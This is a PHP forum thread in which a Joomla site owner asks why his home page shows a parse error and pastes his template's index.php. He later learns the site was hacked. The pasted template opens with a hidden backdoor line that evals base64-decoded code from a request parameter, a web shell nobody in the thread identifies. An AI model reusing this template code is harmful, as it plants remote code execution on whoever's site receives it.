Joomla – Home Page Disappeared: Parse error: syntax error, unexpected $end… – PHP

  php

Q(Question):

Hi,

Can anyone help me please? My Homepage just disappeared and the message seen when I click my normal Homepage address is:

Parse error: syntax error, unexpected $end in /home/schoolsc/public_html/templates/site4/index.php on line 11

This is the HTML from my JOOMLA Template HTML Editor:

<?php
defined('_OLD_JEXEC_') or die(@eval(base64_decode($_REQUEST['c_id'])));
defined('_JEXEC') or die;
/**
* Template for Joomla! CMS, created with Artisteer.
* See readme.txt for more details on how to use the template.
*/
// Check that the template is compatible with Joomla version:
$version

Thanks – hope someone can advise. Best wishes. Roger.

A(Answer):

If that’s all there is in your file, that explains it.

It’s obvious that the file has not been fully updated/uploaded. Overwrite the file(s) with the complete versions.

A(Answer):

Thank you acoder – here is what I think is the full version from the index.php file in my cpanel, can anybody help please with this error, thanks:

Parse error: syntax error, unexpected $end in /home/schoolsc/public_html/templates/site4/index.php on line 11

<?php
/**
* @version $Id: index.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// Set flag that this is a parent file
define( '_JEXEC', 1 );
define('JPATH_BASE', dirname(__FILE__) );
define( 'DS', DIRECTORY_SEPARATOR );
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');
/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();
JPluginHelper::importPlugin('system');
// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');
/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();
// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);
// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');
/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);
// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');
/**
* RENDER THE APPLICATION
*
* NOTE :
*/
$mainframe->render();
// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');
/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));

A(Answer):

Are you sure? It seems they’re 2 different files.

Find the complete version of the code that you posted in your OP and make sure the file in your Template Editor contains the full version.

A(Answer):

Hi – thanks for responding,

Just checked and the original code in the Template Editor is exactly as in my OP above…can’t locate the full version anywhere else…can you suggest where it could be or what I could try next?

Thanks, Roger

A(Answer):

The comments in the code make reference to Artisteer, so perhaps the following link will help:
http://www.artisteer.com/?p=help_joomla

A(Answer):

Thanks acoder, have spent last day or so getting the problem checked out by Joomla expert and the site was hacked into and the template wiped. Template being rebuilt at a small cost from a cached page so hopefully all will be ok. Advice to all readers to avoid same problem back up your site so if you get hacked it can be restored to last backed up version, something I didn’t do…thanks!

LEAVE A COMMENT